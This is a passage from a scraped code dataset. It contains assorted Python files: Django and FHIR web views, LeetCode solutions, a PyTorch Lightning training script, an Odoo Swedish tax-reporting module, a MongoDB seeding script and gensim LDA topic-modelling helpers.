!= s2[i]:\n count += 1\n return count\n\n# объявление функции\ndef is_one_away(word1, word2):\n if len(word1) == len(word2):\n if count_dif_symbols(word1, word2) == 1:\n return True\n return False\n\n# считываем данные\ntxt1 = input()\ntxt2 = input()\n\n# вызываем функцию\nprint(is_one_away(txt1, txt2))","sub_path":"happy_pythoning_cource/Part_13/13.5.5.Func_only_one_dif/13.5.5.Func_only_one_dif.py","file_name":"13.5.5.Func_only_one_dif.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"495422547","text":"from django.shortcuts import render\nfrom qiangpiao.models import Card\n# Create your views here.\n\ndef index(request):\n return render(request, 'index.html')\ndef qiangpiao(request):\n try :\n f = Card.objects.get(name='hello')\n except:\n f = Card.objects.create(name='hello',number = 5)\n buffer = ['抢票成功','没票了。。。']\n f.number -= 1\n f.save()\n if f.number >= 0:\n word=buffer[0]\n return render(request, 'succeed.html', {'word':word})\n else :\n word=buffer[1]\n return render(request, 'fail.html', {'word':word})\n \n","sub_path":"qiangpiao/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"102716286","text":"from django.http import JsonResponse, Http404\nfrom collections import OrderedDict\nfrom django.shortcuts import get_object_or_404\nfrom django.conf import settings\nfrom django.views.decorators.http import require_GET\nfrom oauth2_provider.decorators import protected_resource\nfrom .models import Crosswalk\nfrom .mongo_utils import query_mongo\nfrom bson import ObjectId\nfrom .metadata import patient_facing_api_metadata_str\nimport json\nfrom ..accounts.models import UserProfile\n\n\n__author__ = \"Alan Viars\"\n\n\nFHIR_RESOURCE_TO_ID_MAP = OrderedDict()\nFHIR_RESOURCE_TO_ID_MAP['Patient'] = \"\"\nFHIR_RESOURCE_TO_ID_MAP['Observation'] = \"subject\"\nFHIR_RESOURCE_TO_ID_MAP['Condition'] = \"subject\"\nFHIR_RESOURCE_TO_ID_MAP['AllergyIntolerance'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['Medication'] = \"\"\nFHIR_RESOURCE_TO_ID_MAP['MedicationStatement'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['MedicationOrder'] = \"\"\nFHIR_RESOURCE_TO_ID_MAP['DiagnosticReport'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['Procedure'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['CarePlan'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['Immunization'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['Device'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['Goal'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['ExplanationOfBenefit'] = \"patient\"\nFHIR_RESOURCE_TO_ID_MAP['Coverage'] = \"\"\n\n\n@require_GET\ndef fhir_metadata_endpoint(request):\n return JsonResponse(json.loads(patient_facing_api_metadata_str, object_pairs_hook=OrderedDict))\n\n\n@require_GET\n@protected_resource()\ndef fhir_endpoint_with_id(request, fhir_resource, id):\n\n if fhir_resource not in settings.FHIR_RESOURCES_SUPPORTED:\n raise Http404\n\n up = UserProfile.objects.get(user=request.resource_owner) \n if up.fhir_patient_id != id and fhir_resource == \"Patient\":\n # Do not allow mismatched token/user/fhir ID\n raise Http404\n\n d = query_mongo(\"qhn-fhir4\", fhir_resource, query={\"id\": id}, limit=1)\n\n if not d[\"results\"]:\n d = query_mongo(\"qhn-fhir4\", fhir_resource, query={\"id\": ObjectId(id)}, limit=1)\n \n if not d[\"results\"]:\n d = query_mongo(\"qhn-fhir4\", fhir_resource, query={\"_id\": id}, limit=1) \n\n if not d[\"results\"]:\n d = query_mongo(\"qhn-fhir4\", fhir_resource, query={\"_id\": ObjectId(id)}, limit=1) \n if not d[\"results\"]:\n raise Http404\n one_result = d[\"results\"][0]\n\n if \"_id\" in one_result.keys():\n if isinstance(one_result[\"_id\"], ObjectId):\n one_result[\"_id\"] = str(one_result[\"_id\"])\n\n if \"id\" in one_result.keys():\n if isinstance(one_result[\"id\"], ObjectId):\n one_result[\"id\"] = str(one_result[\"id\"])\n\n # Return only a single FHIR Resource\n return JsonResponse(one_result)\n\n\ndef get_user(request):\n try:\n user = request.resource_owner\n except AttributeError:\n user = request.user\n return user\n\n\ndef get_crosswalk(request):\n user = get_user(request)\n cw = get_object_or_404(Crosswalk, user=user)\n return cw\n\n\ndef patient_search_not_allowed_response():\n oo_response = OrderedDict()\n oo_response[\"resourceType\"] = \"OperationOutcome\"\n oo_response[\"text\"] = OrderedDict((\n ('status', 'generated'),\n ('div', \"\"\"

Operation Outcome

\n
\n \n \\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\t\\t\\n\\t\\t\n
ERROR[]
Patient search is not allowed on this server.
\\n\\t\"\"\")))\n\n oo_response[\"issue\"] = OrderedDict((\n ('severity', 'error'),\n ('code', 'processing'),\n ('diagnostics', 'Patient search is not allowed on this server'),\n ))\n return oo_response\n","sub_path":"apps/patientface_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11624303","text":"from MultiDark import *\n\nsnList= n.array(['/data2/DATA/eBOSS/Multidark-lightcones/MD_0.4Gpc/snapshots/hlist_1.00000.list','/data2/DATA/eBOSS/Multidark-lightcones/MD_0.4Gpc/snapshots/hlist_0.90430.list',])\n\nbox = MultiDarkSimulation(Lbox=400.0 , boxDir = \"MD_0.4Gpc\",snl =snList )\n\n\nzs= n.array([0, 0.10582771204246377 ])\nbd = (zs[1:] + zs[:-1])/2.\nds = c2.comoving_distance(bd) * c2.h\nts = c2.lookback_time(zs)\ntd = c2.lookback_time(bd)\ndmins = n.hstack(([0.], ds ))\ndmaxs = n.hstack((ds, [ 400.]))\n\nii=0\nbox.cornerLCpositionCatalog(ii, DMIN=dmins[ii], DMAX=dmaxs[ii], vmin = 65)\n","sub_path":"bin/bin_MD/LC_04Gpc_z0_cornerObs_0.py","file_name":"LC_04Gpc_z0_cornerObs_0.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"329208342","text":"\"\"\" 162. Find Peak Element\nhttps://leetcode.com/problems/find-peak-element/\n\nA peak element is an element that is strictly greater than its neighbors.\n\nGiven an integer array nums, find a peak element, and return its index.\nIf the array contains multiple peaks, return the index to any of the peaks.\n\nYou may imagine that nums[-1] = nums[n] = -∞.\n\nExample 1:\nInput: nums = [1,2,3,1]\nOutput: 2\nExplanation: 3 is a peak element and your function should return the index number 2.\n\nExample 2:\nInput: nums = [1,2,1,3,5,6,4]\nOutput: 5\nExplanation: Your function can return either index number 1\nwhere the peak element is 2, or index number 5 where the peak element is 6.\n\nConstraints:\n1 <= nums.length <= 1000\n-2^31 <= nums[i] <= 2^31 - 1\nnums[i] != nums[i + 1] for all valid i.\n\"\"\"\n\n\nclass Solution:\n def find_peak(self, nums: list[int]) -> int:\n start = 0\n end = len(nums) - 1\n while start < end:\n mid = (start + end) // 2\n if nums[mid] > nums[mid + 1]:\n end = mid\n else:\n start = mid + 1\n return start\n\n# the first (index = 0) and the last (index = -1) elements can be used as well\n# Runtime: 48 ms, faster than 46.53% of Python3 online submissions for Find Peak Element.\n# Memory Usage: 14.3 MB, less than 90.21% of Python3 online submissions for Find Peak Element.\n\nif __name__ == '__main__':\n my_solution = Solution()\n in_lst1 = [1,2,1,3,5,6,4]\n in_lst1 = [4,5,6,7,0,1,2]\n in_lst1 = [2, 1]\n\n print(\"input: {}\".format(in_lst1))\n # print(\"target: {}\".format(in_tgt))\n print(\"result: {}\".format(my_solution.find_peak(in_lst1)))\n","sub_path":"01/60-69/0162-find-peak-element/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"160864654","text":"# Copyright 2021 Zhongyang Zhang\n# Contact: mirakuruyoo@gmai.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\" This main entrance of the whole project.\n\n Most of the code should not be changed, please directly\n add all the input arguments of your model's constructor\n and the dataset file's constructor. The MInterface and \n DInterface can be seen as transparent to all your args. \n\"\"\"\nimport os\nimport pytorch_lightning as pl\nfrom argparse import ArgumentParser\nfrom pytorch_lightning import Trainer\nimport pytorch_lightning.callbacks as plc\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nfrom model import MInterface\nfrom data import DInterface\nfrom utils import load_model_path_by_args\n\n\ndef load_callbacks():\n callbacks = []\n callbacks.append(plc.EarlyStopping(\n monitor='val_acc',\n mode='max',\n patience=10,\n min_delta=0.001\n ))\n\n callbacks.append(plc.ModelCheckpoint(\n monitor='val_acc',\n filename='best-{epoch:02d}-{val_acc:.3f}',\n save_top_k=1,\n mode='max',\n save_last=True\n ))\n\n if args.lr_scheduler:\n callbacks.append(plc.LearningRateMonitor(\n logging_interval='epoch'))\n return callbacks\n\n\ndef main(args):\n pl.seed_everything(args.seed)\n load_path = load_model_path_by_args(args)\n data_module = DInterface(**vars(args))\n\n if load_path is None:\n model = MInterface(**vars(args))\n else:\n model = MInterface(**vars(args))\n args.resume_from_checkpoint = load_path\n\n # If you want to change the logger's saving folder\n logger = TensorBoardLogger(save_dir='kfold_log', name=args.log_dir)\n args.callbacks = load_callbacks()\n args.logger = logger\n\n trainer = Trainer.from_argparse_args(args)\n trainer.fit(model, data_module)\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n # Basic Training Control\n parser.add_argument('--batch_size', default=32, type=int)\n parser.add_argument('--num_workers', default=8, type=int)\n parser.add_argument('--seed', default=1234, type=int)\n parser.add_argument('--lr', default=1e-3, type=float)\n\n # LR Scheduler\n parser.add_argument('--lr_scheduler', choices=['step', 'cosine'], type=str)\n parser.add_argument('--lr_decay_steps', default=20, type=int)\n parser.add_argument('--lr_decay_rate', default=0.5, type=float)\n parser.add_argument('--lr_decay_min_lr', default=1e-5, type=float)\n\n # Restart Control\n parser.add_argument('--load_best', action='store_true')\n parser.add_argument('--load_dir', default=None, type=str)\n parser.add_argument('--load_ver', default=None, type=str)\n parser.add_argument('--load_v_num', default=None, type=int)\n\n # Training Info\n parser.add_argument('--dataset', default='standard_data', type=str)\n parser.add_argument('--data_dir', default='ref/data', type=str)\n parser.add_argument('--model_name', default='standard_net', type=str)\n parser.add_argument('--loss', default='bce', type=str)\n parser.add_argument('--weight_decay', default=1e-5, type=float)\n parser.add_argument('--no_augment', action='store_true')\n parser.add_argument('--log_dir', default='lightning_logs', type=str)\n \n # Model Hyperparameters\n parser.add_argument('--hid', default=64, type=int)\n parser.add_argument('--block_num', default=8, type=int)\n parser.add_argument('--in_channel', default=3, type=int)\n parser.add_argument('--layer_num', default=5, type=int)\n \n # KFold Support\n parser.add_argument('--kfold', default=0, type=int)\n parser.add_argument('--fold_num', default=0, type=int)\n\n # Other\n parser.add_argument('--aug_prob', default=0.5, type=float)\n\n parser = Trainer.add_argparse_args(\n parser.add_argument_group(title=\"pl.Trainer args\"))\n\n # Reset Some Default Trainer Arguments' Default Values\n parser.set_defaults(max_epochs=100)\n\n args = parser.parse_args()\n\n # List Arguments\n args.mean_sen = [0.485, 0.456, 0.406]\n args.std_sen = [0.229, 0.224, 0.225]\n\n main(args)\n","sub_path":"special/kfold/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"632648588","text":"#e2264562 Sahin Kasap\nimport cv2 as cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom skimage.morphology import skeletonize\n\ndebugMode = True\ncv = cv2\ndef getImages(input_file_path):\n res = []\n for root, dirs, files in os.walk(input_file_path):\n for filename in files:\n res.append((cv2.imread(input_file_path+\"/\"+filename),filename))\n return res\n\n \n\ndef enhance_images(images):\n res = []\n for img in images:\n _,gray = cv2.threshold(img,115,255,cv2.THRESH_BINARY)\n for i in range (0,len(gray)):\n for j in range(0,len(gray[0])):\n pixel = gray[i][j]\n if(not (pixel[0]==255 and pixel[1]==255 and pixel[2]==255)):\n gray[i][j]=np.zeros((3))\n index = int((len(gray)-(len(gray)%2))/2)\n #print(index)\n color = gray[0][index]\n #for i in range(0,len(gray)):\n #if(gray[i][0][0]!=color[0] and gray[i][0][1]!=color[1] and gray[i][0][2]!=color[2]):\n #gray[i][0]=color\n \n res.append(gray)\n \n return res\n pass\n\ndef bounding_box(images):\n res = []\n conts = []\n #return images\n for im in images:\n img = cv2.cvtColor(np.copy(im), cv2.COLOR_BGR2GRAY)\n contours, _ = cv2.findContours(img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n for cont in contours:\n x,y,w,h = cv2.boundingRect(cont)\n cv.rectangle(img,(x,y),(x+w,y+h),(0,0,255),1)\n # plt.imshow(img)\n # plt.show()\n res.append(img)\n conts.append(contours)\n if(debugMode):\n plt.imshow(img)\n plt.show()\n return res,conts\n\ndef skeleton(images):\n res = []\n for image in images:\n res.append(skeletonize(image))\n\n return res\n #TODO\n\ndef numberOfLoops(images):\n res = []\n for image in images:\n res.append(0)\n return res\n #TODO\n pass\n\ndef measurePerformance(numberOfLoopies):\n\n correctResults = [1,1,1,0,0]#hardcoded\n total = 0\n for i in range (0,len(correctResults)):\n if(numberOfLoopies[i]==correctResults[i]):\n total+=1\n \n print(\"The ratio of true results is:\")\n print(total/len(correctResults))\n \n pass\n\ndef draw_images(images):\n for img in images:\n plt.imshow(img,cmap='gray')\n plt.show()\n\n\ndef seperateImageAndFilenames(images):\n imgs = []\n filenames=[]\n for img in images:\n imgs.append(img[0])\n filenames.append(img[1])\n return imgs,filenames\n\ndef final_q1(input_file_path,output_file):\n print(\"final_q1 function started for \"+input_file_path)\n images = getImages(input_file_path)\n images,filenames = seperateImageAndFilenames(images)\n images = enhance_images(images)\n # plt.imshow(images[0]/255.0, cmap=\"gray\")\n # plt.show()\n # draw_images(images)\n boundedimage,conts = bounding_box(images) \n images = skeleton(images)\n numberOfLoopies = numberOfLoops(images)\n measurePerformance(numberOfLoopies)\n for i in range(0, len(filenames)):\n cv.imwrite(filenames[i],images[i])\n\n pass\n#final_q1(\"Dataset1\",\"\")\n\n","sub_path":"finalq1.py","file_name":"finalq1.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"254944721","text":"import logging\nfrom logging.handlers import RotatingFileHandler\n\nfile_handler = RotatingFileHandler(\n 'root.log',\n encoding='utf-8',\n maxBytes=5242880\n)\n\n\nlogging.basicConfig(level=logging.DEBUG, handlers=[file_handler])\n\nmy_logger = logging.getLogger('MyLogger')\nmy_logger.addHandler(file_handler)\nmy_logger.propagate = False\n\n\n\nif __name__ == '__main__':\n logging.info('First Log')\n my_logger.info('Second log')\n","sub_path":"practice/logging_.py","file_name":"logging_.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"537227538","text":"import psycopg2\nimport json\n\nfrom get_config import config\n\nclass redux_model(object):\n\n #Provides a Postgres redux data model\n\n def __init__(self):\n # read the connection parameters\n params = config()\n # connect to the PostgreSQL server\n self.conn = psycopg2.connect(**params)\n\n def get_next_call(self, event_name):\n # check the event exists then find a person in the event's group\n try:\n curr = self.conn.cursor()\n sql = \"\"\"SELECT * FROM events WHERE event_name = (%s);\"\"\"\n curr.execute(sql, (event_name,))\n row = curr.fetchone()\n if row:\n # start to build the JSON response with event data for the call\n # beginning with the date field because it needs unpacking\n response = {'event_name': row[2], 'event_desc': row[3], \\\n 'event_date': str(row[4]), 'event_global': row[5]}\n # find the first person without a row in the calls table for that\n # event\n sql = \"\"\"SELECT * FROM persons WHERE group_id = (%s)\n AND NOT EXISTS (SELECT call_id FROM calls WHERE event_id = (%s)\n AND person_id = persons.person_id)\"\"\"\n curr.execute(sql, (row[1], row[0],))\n row = curr.fetchone()\n if row:\n # complete building and then return the JSON call response\n response.update({'person_id': row[1],'person_name': row[2],\\\n 'person_tel': row[3]})\n return response\n else:\n return {'error': 'no more people to call for event'}\n else:\n return {'error': 'no such event'}\n curr.close()\n self.conn.commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n","sub_path":"source/redux_DB1.py","file_name":"redux_DB1.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"546894892","text":"class Solution:\n def maxArea(self, height: List[int]) -> int:\n maximum = float(\"inf\")\n i = 0\n j = len(height) - 1\n #While pointers do not overlap\n while i < j:\n #take minimum between two heights\n minimum = min(height[i], height[j])\n #Comparfe that minimum and its distance with the current Max\n maximum = max(maximum, minimum * (j-i))\n #Need to make the heights meet \n if height[i] < height[j]:\n i += 1\n else:\n j -= 1\n # Max is found once they have met in middle\n return maximum\n \n # O(n) one pass solution | O(1) space\n","sub_path":"75/arrays/containerWithMostWaterMEF.py","file_name":"containerWithMostWaterMEF.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"610908227","text":"#coding=utf-8\n#!usr/bin/env python\nfrom pymongo import MongoClient\n\ndef createDB():\n\tclient = MongoClient(\"127.0.0.1\", 27017)\n\tdb = client[\"bookstore\"]\n\tbooks = db.books\n\tbook1 = {\"title\":\"Programming Collective Intelligence\",\n \"subtitle\": \"Building Smart Web 2.0 Applications\",\n \"image\":\"/static/images/collective_intelligence.gif\",\n \"author\": \"Toby Segaran\",\n \"date_added\":1310248056,\n \"date_released\": \"August 2007\",\n \"isbn\":\"978-0-596-52932-1\",\n \"stock\":4,\n \"description\":\"The first book\"}\n\n\tbook2 = {\"title\":\"Digital Image Processing\",\n\t\t\"subtitle\": \"About Digital Image Process\",\n\t\t\"image\":\"/static/images/digital_image_processing.gif\",\n\t\t\"author\": \"Rafael C.Gonzalez\",\n\t\t\"date_added\":1310248056,\n\t\t\"date_released\": \"August 2007\",\n\t\t\"isbn\":\"978-7-121-04397-0\",\n\t\t\"stock\":5,\n\t\t\"description\":\"The second book\"}\n\n\tbook3 = {\"title\":\"Computer NetWorking\",\n\t\t\t\"subtitle\": \"About Computer NetWorking\",\n\t\t\t\"image\":\"/static/images/computer_netWorking.gif\",\n\t\t\t\"author\": \"James F Kurose\",\n\t\t\t\"date_added\":1310248056,\n\t\t\t\"date_released\": \"August 2007\",\n\t\t\t\"isbn\":\"978-7-111-16505-7\",\n\t\t\t\"stock\":5,\n\t\t\t\"description\":\"The third Book\"}\n\tbooks.insert(book1)\n\tbooks.insert(book2)\n\tbooks.insert(book3)\ndef delete():\n\tclient = MongoClient(\"127.0.0.1\", 27017)\n\tdb = client[\"bookstore\"]\n\tbooks = db.books\n\tbooks.remove()\n\tcarts = db.carts\n\tcarts.remove()\n\torder = db.orders\n\torder.remove()\n\nif __name__ == '__main__':\n\tdelete()\n\tcreateDB()\n","sub_path":"bookstore/pythonScript/mongodbBook.py","file_name":"mongodbBook.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"379922673","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution, third party addon\n# Copyright (C) 2004-2015 Vertel AB ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import except_orm, Warning, RedirectWarning\nfrom openerp import http\nfrom openerp.http import request\nfrom openerp import SUPERUSER_ID\nfrom datetime import datetime\nimport werkzeug\nimport pytz\nimport re\nimport base64\n\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass account_tax_esdk(models.Model):\n \"\"\"\n\n https://support.speedledger.se/hc/sv/articles/204207739-Momskoder\n http://www.bas.se/kontoplaner/sru/vad-ar-sru-kopplingar/\n\n \"\"\"\n\n _name = 'account.tax.esdk'\n _description = 'Tax reporting'\n _order = 'name'\n\n name = fields.Char('Tax Period',required=True,help=\"Skattemyndighetens tax period. Usually YYYYMM\")\n company_id = fields.Many2one('res.company', string='Company', change_default=True,\n required=True, readonly=True, states={'draft': [('readonly', False)]},\n default=lambda self: self.env['res.company']._company_default_get('account.tax.esdk'))\n state = fields.Selection([('draft','Open'), ('done','Closed')], 'Status', default='draft',readonly=False, copy=False)\n period_start = fields.Many2one('account.period', string='Start Period',\n domain=[('state', '!=', 'done')], copy=False,\n help=\"Starting period for the file\",\n readonly=True, states={'draft': [('readonly', False)]})\n period_end = fields.Many2one('account.period', string='End Period',\n domain=[('state', '!=', 'done')], copy=False,\n help=\"Ending pediod for the file, can be same as start period\",\n readonly=True, states={'draft': [('readonly', False)]})\n description = fields.Text('Note', help=\"This will be included in the message\")\n\n\n\n @api.model\n def get_tax_sum(self,code):\n account_tax = self.env['account.tax'].search([('description','=',code)])\n if not account_tax or len(account_tax) == 0:\n return _(\"Error in code %s\" % code)\n #_logger.warning(\"This is tax %s / %s\" % (self.env['account.tax.code'].browse(account_tax.tax_code_id.id).name,code))\n return self.env['account.tax.code'].with_context(\n {'period_ids': [p.id for p in self.env['account.period'].search([('date_start', '>=', self.period_start.date_start), ('date_stop', '<=', self.period_end.date_stop)])], # Special periods?\n 'state': 'all'}\n ).browse(account_tax.tax_code_id.id).sum_periods or 0\n\n @api.one\n def create_tax_sum_attachement(self,):\n self.env['ir.attachment'].create({\n 'name': 'Moms%s.xml' % self.name,\n 'datas_fname': 'Moms%s.xml' % self.name,\n 'res_model': self._name,\n 'res_id': self.id,\n 'datas': base64.b64encode(self.pool.get('ir.ui.view').render(self._cr,self._uid,'l10n_se_esdk.esdk_period_moms',values={'doc': self})),\n })\n\n @api.one\n def create_ag_sum_attachement(self,):\n self.env['ir.attachment'].create({\n 'name': 'Ag%s.xml' % self.name,\n 'datas_fname': 'Ag%s.xml' % self.name,\n 'res_model': self._name,\n 'res_id': self.id,\n 'datas': base64.b64encode(self.pool.get('ir.ui.view').render(self._cr,self._uid,'l10n_se_esdk.esdk_period_ag',values={'doc': self})),\n })\n\n#----------------------------------------------------------\n# Tax\n#----------------------------------------------------------\n\nclass account_tax_code(models.Model):\n _inherit = 'account.tax.code'\n\n @api.one\n def _sum_periods(self):\n #~ context = { 'period_ids': self.env['account.period'].search([('date_start', '>=', self.period_start.date_start), ('date_stop', '<=', self.period_end.date_stop)]),\n #~ 'state': 'all'}\n move_state = ('draft', 'posted', )\n period_ids = \"(\" + ','.join([str(p) for p in self._context['period_ids']]) + \")\"\n amount = self.pool.get('account.tax.code')._sum(self._cr,self._uid,[self.id],'',[],context=self._context,\n where=' AND line.period_id IN %s AND move.state IN %s' % (period_ids,move_state), where_params=()) or 0.0\n _logger.warning(\"This is tax %s \" % (','.join([str(p) for p in self._context['period_ids']])))\n self.sum_periods = amount[self.id]\n sum_periods = fields.Float('Periods Sum',compute='_sum_periods')\n\n#----------------------------------------------------------\n# Field names\n#----------------------------------------------------------\n\nclass account_esdk_code(models.Model):\n _name = 'account.esdk.code'\n _description = \"Fields for eSDK forms\"\n\n name = fields.Char(string=\"Code\")\n form_id = fields.Many2one('account.esdk.form')\n mandatory = fields.Boolean(string=\"Mandatory\",default=False)\n field_name = fields.Char(string=\"Field\")\n @api.one\n def _value(self):\n if self.reference and self.field_name:\n v = self.reference.read()[0].get(self.field_name,'None')\n if isinstance( v, (int,long,float )) and v < 0:\n v *= -1\n self.value = v\n value = fields.Char(string=\"Value\",compute=\"_value\")\n reference = fields.Reference(string='Related Document', selection='_reference_models')\n\n @api.model\n def _reference_models(self):\n models = self.env['ir.model'].search([('state', '!=', 'manual')])\n return [(model.model, model.name)\n for model in models\n if not model.model.startswith('ir.')]\n\n#----------------------------------------------------------\n# Forms\n#----------------------------------------------------------\n\nclass account_esdk_form(models.Model):\n _name = 'account.esdk.form'\n _description = 'Forms and fields'\n _order = 'name'\n\n name = fields.Char('Form name',required=True,help=\"Skattemyndighetens meddelande / blankett. eg INK2S_2014P2\")\n chart_account_id = fields.Many2one('account.account', string='Chart of Account', help='Select Charts of Accounts', required=True, domain = [('parent_id','=',False)])\n fiscalyear_id = fields.Many2one('account.fiscalyear', string='Fiscal Year', required=True)\n target_move = fields.Selection([('posted', 'All Posted Entries'),\n ('all', 'All Entries'),\n ], string='Target Moves', required=True)\n initial_bal = fields.Boolean(string=\"With initial balance\")\n field_ids = fields.Many2many(comodel_name='account.esdk.code',)\n\n\n #~ comodel_name='res.users',\n #~ relation='table_name',\n #~ column1='col_name',\n #~ column2='other_col_name'\n\n","sub_path":"l10n_se_esdk/l10n_se_esdk.py","file_name":"l10n_se_esdk.py","file_ext":"py","file_size_in_byte":7591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"243033406","text":"\nfrom gensim import corpora, models, similarities\nfrom gensim.utils import tokenize\n\nimport nltk.data\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\n\nfrom nltk.corpus import stopwords\ncachedStopWords = stopwords.words(\"english\")\n\nfrom time import time\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport pdb\n\nimport pickle\nfrom nltk.util import ngrams\n\n\ndef time_req(t,step,full=False):\n if full:\n t_elapse = t[-1]-t[0]\n else:\n t.append(time())\n t_elapse = t[-1]-t[-2]\n unit = 's'\n if t_elapse/60 > 1:\n t_elapse/=60\n unit = 'm'\n if t_elapse/60 > 1:\n t_elapse/=60\n unit = 'h'\n print(\"%s took %0.1f%s\"%(step,t_elapse,unit))\n return t\n\ndef disp_lda(nclust,model):\n for i in range(nclust):\n print(\"%i: %s\"%(i,' '.join([word.split('*')[1] for word in model.print_topic(i).split(' + ')])))\n\ndef feat_lda(df,model):\n df_in = df.copy()\n for i in range(model['nclust']):\n df_in[\"lda_%.2i\"%(i)] = 0\n\n for i,l in df_in.iterrows():\n fit = model['model'][model['corpus'][i]]\n for topic in fit:\n df_in.loc[i,\"lda_%.2i\"%(topic[0])] = topic[1]\n\n return df_in\n\ndef lda_tokenize(df,featcol,savefile,cachedStopWords,ngram=1,v='v1'):\n ## ngram tokenization\n\n lemmatizer = nltk.stem.WordNetLemmatizer()\n\n fn = '%s/lda_%s_tok_%idoc_%ig_%s.pkl'%(v,savefile,len(df[featcol]),ngram,featcol)\n\n if os.path.isfile(fn) is False:\n texts = []\n for document in df[featcol]:\n #print(document)\n doc=[]\n for gramz in range(ngram):\n #print(gramz+1)\n for sentence in nltk.sent_tokenize(document):\n #print(sentence)\n #print(gramz)\n #print([lemmatizer.lemmatize(word) for word in tokenize(sentence,to_lower=True)])\n ng = ngrams([lemmatizer.lemmatize(word) for word in tokenize(sentence,to_lower=True)],gramz+1)\n for gram in ng:\n #print(gram)\n ## no stopwords\n if set(gram).isdisjoint(cachedStopWords):\n doc.append(('_'.join(gram)))\n texts.append(doc)\n pickle.dump(texts,open(fn,'wb'))\n else:\n texts = pickle.load(open(fn,'rb'))\n print(\"Restored saved tokens!\")\n\n return texts\n\n\ndef run_lda(stops=None, fullfit=True, nclust=10, df=None,\n featurecol='document', passes=10, savefile=None,\n ngram=1,version='v1'):\n if savefile is not None:\n try:\n fn = \"%s/lda_%s_%i_%ig.pkl\"%(version,savefile,nclust,ngram)\n mods = pickle.load(open(fn,'rb'))\n print(\"Restored savefile!\")\n return mods\n except:\n pass\n\n cachedStopWords = stopwords.words(\"english\")\n\n if stops:\n for word in stops:\n cachedStopWords.append(word)\n\n t=[time()]\n\n if df is None:\n session = access_db().get_session()\n\n tags = session.query(m.wine_info.wine_name_full, \\\n m.wine_info.variety, \\\n m.wine_info.review) \\\n .filter(m.wine_info.review != None)\n\n df = pd.DataFrame(tags.all(),columns=['name','variety','review'])\n\n print(\"..fitting %i reviews\"%len(df))\n\n #df = pd.read_pickle('df_wine.pkl')\n #df['document'] = df['review']\n #del df['review']\n t = time_req(t,'pulled data')\n\n ## calculate number of clusters\n #nclust = min([150,max([5,int(len(df)/30.)])])\n #nclust = 20\n print(\" ... clustering %i documents into %i clusters.\" % (len(df),nclust))\n\n ## Tokenize:\n #texts = [[lemmatizer.lemmatize(word) for word in list(tokenize(document,to_lower=True)) \\\n # if word not in cachedStopWords] for document in df[featurecol]]\n texts = lda_tokenize(df,featurecol,savefile,cachedStopWords,ngram=ngram,v=version)\n\n t = time_req(t,'Tokenize')\n\n ## build \"user language\" dictionary\n dictionary = corpora.Dictionary(texts)\n t = time_req(t,'Build dictionary')\n\n ## make a sparse vectorization of the documents and store as the \"corpus\"\n corpus = [dictionary.doc2bow(word) for word in texts]\n t = time_req(t,'Sparse 